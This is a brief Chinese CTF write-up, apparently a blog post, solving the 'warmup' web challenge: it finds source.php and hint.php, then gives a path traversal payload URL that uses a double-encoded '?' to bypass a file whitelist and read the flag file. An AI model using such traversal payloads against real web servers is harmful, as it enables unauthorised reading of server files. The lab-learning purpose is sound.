原题
解题思路
只有一张图片，就查看源代码，有一个source.php。
查看source.php，白名单中还有一个hint.php。
hint.php告诉我们flag的位置ffffllllaaaagggg
但是直接跳转是没用的，构造payload。
http://61.147.171.105:55725/source.php?file=source.php%253f/../../../../../../ffffllllaaaagggg
攻防世界-warmup
mysmartwish2023-08-20 23:17
原题
相关推荐
ppo_wu11 小时前
解决夸克网盘自动修改PDF打开方式的方法kingx31 天前
Bugku 逆向 MatrixHunter：黑盒 oracle + GF(2) 消元出唯一解菩提小狗2 天前
每日安全情报报告 · 2026-11-07不庸.2 天前
theHarvester 入门教程：从装好到看懂输出liferecords3 天前
OpenAI 把「Critical」级挖洞模型交付出去了：GPT-6 Cyber 正式发布，越界率压到 1% 以下FungLeo3 天前
成为全栈·基础补充·Web 安全基础：XSS、CSRF 与 SQL 注入菩提小狗4 天前
每日安全情报报告 · 2026-11-05QZ166560951594 天前
政务泛监测体系能力排行：AI 重塑监测边界，治理的颗粒度革命0xBADCODE4 天前
2026 强网杯 Web 题 cwp · 全链路复盘其实防守也摸鱼5 天前
个人学习 Pwn 思路：从基础到漏洞利用的进阶路径